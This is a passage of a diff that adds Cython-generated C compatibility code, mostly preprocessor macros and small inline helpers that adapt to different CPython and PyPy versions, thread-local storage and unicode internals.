&& PY_VERSION_HEX < 0x030C00A6) + #endif + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL (PY_VERSION_HEX >= 0x030700A1) + #endif + #ifndef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 1 + #endif + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #if PY_VERSION_HEX < 0x030400a1 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #elif !defined(CYTHON_USE_TP_FINALIZE) + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #if PY_VERSION_HEX < 0x030600B1 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #elif !defined(CYTHON_USE_DICT_VERSIONS) + #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX < 0x030C00A5) + #endif + #if PY_VERSION_HEX < 0x030700A3 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #elif !defined(CYTHON_USE_EXC_INFO_STACK) + #define CYTHON_USE_EXC_INFO_STACK 1 + #endif + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 1 + #endif +#endif +#if !defined(CYTHON_FAST_PYCCALL) +#define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) +#endif +#if !defined(CYTHON_VECTORCALL) +#define CYTHON_VECTORCALL (CYTHON_FAST_PYCCALL && PY_VERSION_HEX >= 0x030800B1) +#endif +#define CYTHON_BACKPORT_VECTORCALL (CYTHON_METH_FASTCALL && PY_VERSION_HEX < 0x030800B1) +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_MAJOR_VERSION < 3 + #include "longintrepr.h" + #endif + #undef SHIFT + #undef BASE + #undef MASK + #ifdef SIZEOF_VOID_P + enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) }; + #endif +#endif +#ifndef __has_attribute + #define __has_attribute(x) 0 +#endif +#ifndef __has_cpp_attribute + #define __has_cpp_attribute(x) 0 +#endif +#ifndef CYTHON_RESTRICT + #if defined(__GNUC__) + #define CYTHON_RESTRICT __restrict__ + #elif defined(_MSC_VER) && _MSC_VER >= 1400 + #define CYTHON_RESTRICT __restrict + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_RESTRICT restrict + #else + #define CYTHON_RESTRICT + #endif +#endif +#ifndef CYTHON_UNUSED + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(maybe_unused) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(maybe_unused) + #define CYTHON_UNUSED [[maybe_unused]] + #endif + #endif + #endif +#endif +#ifndef CYTHON_UNUSED +# if defined(__GNUC__) +# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_UNUSED_VAR +# if defined(__cplusplus) + template void CYTHON_UNUSED_VAR( const T& ) { } +# else +# define CYTHON_UNUSED_VAR(x) (void)(x) +# endif +#endif +#ifndef CYTHON_MAYBE_UNUSED_VAR + #define CYTHON_MAYBE_UNUSED_VAR(x) CYTHON_UNUSED_VAR(x) +#endif +#ifndef CYTHON_NCP_UNUSED +# if CYTHON_COMPILING_IN_CPYTHON +# define CYTHON_NCP_UNUSED +# else +# define CYTHON_NCP_UNUSED CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_USE_CPP_STD_MOVE + #if defined(__cplusplus) && (\ + __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1600)) + #define CYTHON_USE_CPP_STD_MOVE 1 + #else + #define CYTHON_USE_CPP_STD_MOVE 0 + #endif +#endif +#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) +#ifdef _MSC_VER + #ifndef _MSC_STDINT_H_ + #if _MSC_VER < 1300 + typedef unsigned char uint8_t; + typedef unsigned short uint16_t; + typedef unsigned int uint32_t; + #else + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + #endif + #endif + #if _MSC_VER < 1300 + #ifdef _WIN64 + typedef unsigned long long __pyx_uintptr_t; + #else + typedef unsigned int __pyx_uintptr_t; + #endif + #else + #ifdef _WIN64 + typedef unsigned __int64 __pyx_uintptr_t; + #else + typedef unsigned __int32 __pyx_uintptr_t; + #endif + #endif +#else + #include + typedef uintptr_t __pyx_uintptr_t; +#endif +#ifndef CYTHON_FALLTHROUGH + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(fallthrough) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(fallthrough) + #define CYTHON_FALLTHROUGH [[fallthrough]] + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_cpp_attribute(clang::fallthrough) + #define CYTHON_FALLTHROUGH [[clang::fallthrough]] + #elif __has_cpp_attribute(gnu::fallthrough) + #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] + #endif + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_attribute(fallthrough) + #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) + #else + #define CYTHON_FALLTHROUGH + #endif + #endif + #if defined(__clang__) && defined(__apple_build_version__) + #if __apple_build_version__ < 7000000 + #undef CYTHON_FALLTHROUGH + #define CYTHON_FALLTHROUGH + #endif + #endif +#endif +#ifdef __cplusplus + template + struct __PYX_IS_UNSIGNED_IMPL {static const bool value = T(0) < T(-1);}; + #define __PYX_IS_UNSIGNED(type) (__PYX_IS_UNSIGNED_IMPL::value) +#else + #define __PYX_IS_UNSIGNED(type) (((type)-1) > 0) +#endif +#if CYTHON_COMPILING_IN_PYPY == 1 + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x030A0000) +#else + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000) +#endif +#define __PYX_REINTERPRET_FUNCION(func_pointer, other_pointer) ((func_pointer)(void(*)(void))(other_pointer)) + +#ifndef CYTHON_INLINE + #if defined(__clang__) + #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) + #elif defined(__GNUC__) + #define CYTHON_INLINE __inline__ + #elif defined(_MSC_VER) + #define CYTHON_INLINE __inline + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_INLINE inline + #else + #define CYTHON_INLINE + #endif +#endif + +#define __PYX_BUILD_PY_SSIZE_T "n" +#define CYTHON_FORMAT_SSIZE_T "z" +#if PY_MAJOR_VERSION < 3 + #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" + #define __Pyx_DefaultClassType PyClass_Type + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_BUILTIN_MODULE_NAME "builtins" + #define __Pyx_DefaultClassType PyType_Type +#if CYTHON_COMPILING_IN_LIMITED_API + static CYTHON_INLINE PyObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyObject *exception_table = NULL; + PyObject *types_module=NULL, *code_type=NULL, *result=NULL; + #if __PYX_LIMITED_VERSION_HEX < 0x030B0000 + PyObject *version_info; + PyObject *py_minor_version = NULL; + #endif + long minor_version = 0; + PyObject *type, *value, *traceback; + PyErr_Fetch(&type, &value, &traceback); + #if __PYX_LIMITED_VERSION_HEX >= 0x030B0000 + minor_version = 11; + #else + if (!(version_info = PySys_GetObject("version_info"))) goto end; + if (!(py_minor_version = PySequence_GetItem(version_info, 1))) goto end; + minor_version = PyLong_AsLong(py_minor_version); + Py_DECREF(py_minor_version); + if (minor_version == -1 && PyErr_Occurred()) goto end; + #endif + if (!(types_module = PyImport_ImportModule("types"))) goto end; + if (!(code_type = PyObject_GetAttrString(types_module, "CodeType"))) goto end; + if (minor_version <= 7) { + (void)p; + result = PyObject_CallFunction(code_type, "iiiiiOOOOOOiOO", a, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else if (minor_version <= 10) { + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else { + if (!(exception_table = PyBytes_FromStringAndSize(NULL, 0))) goto end; + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, name, fline, lnos, exception_table, fv, cell); + } + end: + Py_XDECREF(code_type); + Py_XDECREF(exception_table); + Py_XDECREF(types_module); + if (type) { + PyErr_Restore(type, value, traceback); + } + return result; + } + #ifndef CO_OPTIMIZED + #define CO_OPTIMIZED 0x0001 + #endif + #ifndef CO_NEWLOCALS + #define CO_NEWLOCALS 0x0002 + #endif + #ifndef CO_VARARGS + #define CO_VARARGS 0x0004 + #endif + #ifndef CO_VARKEYWORDS + #define CO_VARKEYWORDS 0x0008 + #endif + #ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x0200 + #endif + #ifndef CO_GENERATOR + #define CO_GENERATOR 0x0020 + #endif + #ifndef CO_COROUTINE + #define CO_COROUTINE 0x0080 + #endif +#elif PY_VERSION_HEX >= 0x030B0000 + static CYTHON_INLINE PyCodeObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyCodeObject *result; + PyObject *empty_bytes = PyBytes_FromStringAndSize("", 0); + if (!empty_bytes) return NULL; + result = + #if PY_VERSION_HEX >= 0x030C0000 + PyUnstable_Code_NewWithPosOnlyArgs + #else + PyCode_NewWithPosOnlyArgs + #endif + (a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, name, fline, lnos, empty_bytes); + Py_DECREF(empty_bytes); + return result; + } +#elif PY_VERSION_HEX >= 0x030800B2 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_NewWithPosOnlyArgs(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#endif +#endif +#if PY_VERSION_HEX >= 0x030900A4 || defined(Py_IS_TYPE) + #define __Pyx_IS_TYPE(ob, type) Py_IS_TYPE(ob, type) +#else + #define __Pyx_IS_TYPE(ob, type) (((const PyObject*)ob)->ob_type == (type)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_Is) + #define __Pyx_Py_Is(x, y) Py_Is(x, y) +#else + #define __Pyx_Py_Is(x, y) ((x) == (y)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsNone) + #define __Pyx_Py_IsNone(ob) Py_IsNone(ob) +#else + #define __Pyx_Py_IsNone(ob) __Pyx_Py_Is((ob), Py_None) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsTrue) + #define __Pyx_Py_IsTrue(ob) Py_IsTrue(ob) +#else + #define __Pyx_Py_IsTrue(ob) __Pyx_Py_Is((ob), Py_True) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsFalse) + #define __Pyx_Py_IsFalse(ob) Py_IsFalse(ob) +#else + #define __Pyx_Py_IsFalse(ob) __Pyx_Py_Is((ob), Py_False) +#endif +#define __Pyx_NoneAsNull(obj) (__Pyx_Py_IsNone(obj) ? NULL : (obj)) +#if PY_VERSION_HEX >= 0x030900F0 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_GC_IsFinalized(o) PyObject_GC_IsFinalized(o) +#else + #define __Pyx_PyObject_GC_IsFinalized(o) _PyGC_FINALIZED(o) +#endif +#ifndef CO_COROUTINE + #define CO_COROUTINE 0x80 +#endif +#ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x200 +#endif +#ifndef Py_TPFLAGS_CHECKTYPES + #define Py_TPFLAGS_CHECKTYPES 0 +#endif +#ifndef Py_TPFLAGS_HAVE_INDEX + #define Py_TPFLAGS_HAVE_INDEX 0 +#endif +#ifndef Py_TPFLAGS_HAVE_NEWBUFFER + #define Py_TPFLAGS_HAVE_NEWBUFFER 0 +#endif +#ifndef Py_TPFLAGS_HAVE_FINALIZE + #define Py_TPFLAGS_HAVE_FINALIZE 0 +#endif +#ifndef Py_TPFLAGS_SEQUENCE + #define Py_TPFLAGS_SEQUENCE 0 +#endif +#ifndef Py_TPFLAGS_MAPPING + #define Py_TPFLAGS_MAPPING 0 +#endif +#ifndef METH_STACKLESS + #define METH_STACKLESS 0 +#endif +#if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) + #ifndef METH_FASTCALL + #define METH_FASTCALL 0x80 + #endif + typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); + typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, + Py_ssize_t nargs, PyObject *kwnames); +#else + #if PY_VERSION_HEX >= 0x030d00A4 + # define __Pyx_PyCFunctionFast PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords PyCFunctionFastWithKeywords + #else + # define __Pyx_PyCFunctionFast _PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords + #endif +#endif +#if CYTHON_METH_FASTCALL + #define __Pyx_METH_FASTCALL METH_FASTCALL + #define __Pyx_PyCFunction_FastCall __Pyx_PyCFunctionFast + #define __Pyx_PyCFunction_FastCallWithKeywords __Pyx_PyCFunctionFastWithKeywords +#else + #define __Pyx_METH_FASTCALL METH_VARARGS + #define __Pyx_PyCFunction_FastCall PyCFunction + #define __Pyx_PyCFunction_FastCallWithKeywords PyCFunctionWithKeywords +#endif +#if CYTHON_VECTORCALL + #define __pyx_vectorcallfunc vectorcallfunc + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET PY_VECTORCALL_ARGUMENTS_OFFSET + #define __Pyx_PyVectorcall_NARGS(n) PyVectorcall_NARGS((size_t)(n)) +#elif CYTHON_BACKPORT_VECTORCALL + typedef PyObject *(*__pyx_vectorcallfunc)(PyObject *callable, PyObject *const *args, + size_t nargsf, PyObject *kwnames); + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET ((size_t)1 << (8 * sizeof(size_t) - 1)) + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(((size_t)(n)) & ~__Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET)) +#else + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET 0 + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(n)) +#endif +#if PY_MAJOR_VERSION >= 0x030900B1 +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_CheckExact(func) +#else +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_Check(func) +#endif +#define __Pyx_CyOrPyCFunction_Check(func) PyCFunction_Check(func) +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) (((PyCFunctionObject*)(func))->m_ml->ml_meth) +#elif !CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) PyCFunction_GET_FUNCTION(func) +#endif +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FLAGS(func) (((PyCFunctionObject*)(func))->m_ml->ml_flags) +static CYTHON_INLINE PyObject* __Pyx_CyOrPyCFunction_GET_SELF(PyObject *func) { + return (__Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_STATIC) ? NULL : ((PyCFunctionObject*)func)->m_self; +} +#endif +static CYTHON_INLINE int __Pyx__IsSameCFunction(PyObject *func, void *cfunc) { +#if CYTHON_COMPILING_IN_LIMITED_API + return PyCFunction_Check(func) && PyCFunction_GetFunction(func) == (PyCFunction) cfunc; +#else + return PyCFunction_Check(func) && PyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +#endif +} +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCFunction(func, cfunc) +#if __PYX_LIMITED_VERSION_HEX < 0x030900B1 + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) ((void)m, PyType_FromSpecWithBases(s, b)) + typedef PyObject *(*__Pyx_PyCMethod)(PyObject *, PyTypeObject *, PyObject *const *, size_t, PyObject *); +#else + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) PyType_FromModuleAndSpec(m, s, b) + #define __Pyx_PyCMethod PyCMethod +#endif +#ifndef METH_METHOD + #define METH_METHOD 0x200 +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) + #define PyObject_Malloc(s) PyMem_Malloc(s) + #define PyObject_Free(p) PyMem_Free(p) + #define PyObject_Realloc(p) PyMem_Realloc(p) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) +#else + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyThreadState_Current PyThreadState_Get() +#elif !CYTHON_FAST_THREAD_STATE + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#elif PY_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyThreadState_Current PyThreadState_GetUnchecked() +#elif PY_VERSION_HEX >= 0x03060000 + #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() +#elif PY_VERSION_HEX >= 0x03000000 + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#else + #define __Pyx_PyThreadState_Current _PyThreadState_Current +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE void *__Pyx_PyModule_GetState(PyObject *op) +{ + void *result; + result = PyModule_GetState(op); + if (!result) + Py_FatalError("Couldn't find the module state"); + return result; +} +#endif +#define __Pyx_PyObject_GetSlot(obj, name, func_ctype) __Pyx_PyType_GetSlot(Py_TYPE(obj), name, func_ctype) +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((func_ctype) PyType_GetSlot((type), Py_##name)) +#else + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((type)->name) +#endif +#if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) +#include "pythread.h" +#define Py_tss_NEEDS_INIT 0 +typedef int Py_tss_t; +static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { + *key = PyThread_create_key(); + return 0; +} +static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) { + Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); + *key = Py_tss_NEEDS_INIT; + return key; +} +static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { + PyObject_Free(key); +} +static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { + return *key != Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { + PyThread_delete_key(*key); + *key = Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { + return PyThread_set_key_value(*key, value); +} +static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { + return PyThread_get_key_value(*key); +} +#endif +#if PY_MAJOR_VERSION < 3 + #if CYTHON_COMPILING_IN_PYPY + #if PYPY_VERSION_NUM < 0x07030600 + #if defined(__cplusplus) && __cplusplus >= 201402L + [[deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")]] + #elif defined(__GNUC__) || defined(__clang__) + __attribute__ ((__deprecated__("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6"))) + #elif defined(_MSC_VER) + __declspec(deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")) + #endif + static CYTHON_INLINE int PyGILState_Check(void) { + return 0; + } + #else // PYPY_VERSION_NUM < 0x07030600 + #endif // PYPY_VERSION_NUM < 0x07030600 + #else + static CYTHON_INLINE int PyGILState_Check(void) { + PyThreadState * tstate = _PyThreadState_Current; + return tstate && (tstate == PyGILState_GetThisThreadState()); + } + #endif +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030d0000 || defined(_PyDict_NewPresized) +#define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) +#else +#define __Pyx_PyDict_NewPresized(n) PyDict_New() +#endif +#if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION + #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) +#else + #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX > 0x030600B4 && PY_VERSION_HEX < 0x030d0000 && CYTHON_USE_UNICODE_INTERNALS +#define __Pyx_PyDict_GetItemStrWithError(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStr(PyObject *dict, PyObject *name) { + PyObject *res = __Pyx_PyDict_GetItemStrWithError(dict, name); + if (res == NULL) PyErr_Clear(); + return res; +} +#elif PY_MAJOR_VERSION >= 3 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07020000) +#define __Pyx_PyDict_GetItemStrWithError PyDict_GetItemWithError +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#else +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStrWithError(PyObject *dict, PyObject *name) { +#if CYTHON_COMPILING_IN_PYPY + return PyDict_GetItem(dict, name); +#else + PyDictEntry *ep; + PyDictObject *mp = (PyDictObject*) dict; + long hash = ((PyStringObject *) name)->ob_shash; + assert(hash != -1); + ep = (mp->ma_lookup)(mp, name, hash); + if (ep == NULL) { + return NULL; + } + return ep->me_value; +#endif +} +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#endif +#if CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyType_GetFlags(tp) (((PyTypeObject *)tp)->tp_flags) + #define __Pyx_PyType_HasFeature(type, feature) ((__Pyx_PyType_GetFlags(type) & (feature)) != 0) + #define __Pyx_PyObject_GetIterNextFunc(obj) (Py_TYPE(obj)->tp_iternext) +#else + #define __Pyx_PyType_GetFlags(tp) (PyType_GetFlags((PyTypeObject *)tp)) + #define __Pyx_PyType_HasFeature(type, feature) PyType_HasFeature(type, feature) + #define __Pyx_PyObject_GetIterNextFunc(obj) PyIter_Next +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyObject_GenericSetAttr((PyObject*)tp, k, v) +#else + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyDict_SetItem(tp->tp_dict, k, v) +#endif +#if CYTHON_USE_TYPE_SPECS && PY_VERSION_HEX >= 0x03080000 +#define __Pyx_PyHeapTypeObject_GC_Del(obj) {\ + PyTypeObject *type = Py_TYPE((PyObject*)obj);\ + assert(__Pyx_PyType_HasFeature(type, Py_TPFLAGS_HEAPTYPE));\ + PyObject_GC_Del(obj);\ + Py_DECREF(type);\ +} +#else +#define __Pyx_PyHeapTypeObject_GC_Del(obj) PyObject_GC_Del(obj) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define CYTHON_PEP393_ENABLED 1 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GetLength(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_ReadChar(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((void)u, 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((void)u, (0)) + #define __Pyx_PyUnicode_DATA(u) ((void*)u) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)k, PyUnicode_ReadChar((PyObject*)(d), i)) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GetLength(u)) +#elif PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) + #define CYTHON_PEP393_ENABLED 1 + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_READY(op) (0) + #else + #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ + 0 : _PyUnicode_Ready((PyObject *)(op))) + #endif + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) + #define __Pyx_PyUnicode_KIND(u) ((int)PyUnicode_KIND(u)) + #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) + #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, (Py_UCS4) ch) + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_LENGTH(u)) + #else + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length)) + #else + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) + #endif + #endif +#else + #define CYTHON_PEP393_ENABLED 0 + #define PyUnicode_1BYTE_KIND 1 + #define PyUnicode_2BYTE_KIND 2 + #define PyUnicode_4BYTE_KIND 4 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535U : 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((int)sizeof(Py_UNICODE)) + #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = (Py_UNICODE) ch) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) +#else + #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ + PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #if !defined(PyUnicode_DecodeUnicodeEscape) + #define PyUnicode_DecodeUnicodeEscape(s, size, errors) PyUnicode_Decode(s, size, "unicode_escape", errors) + #endif + #if 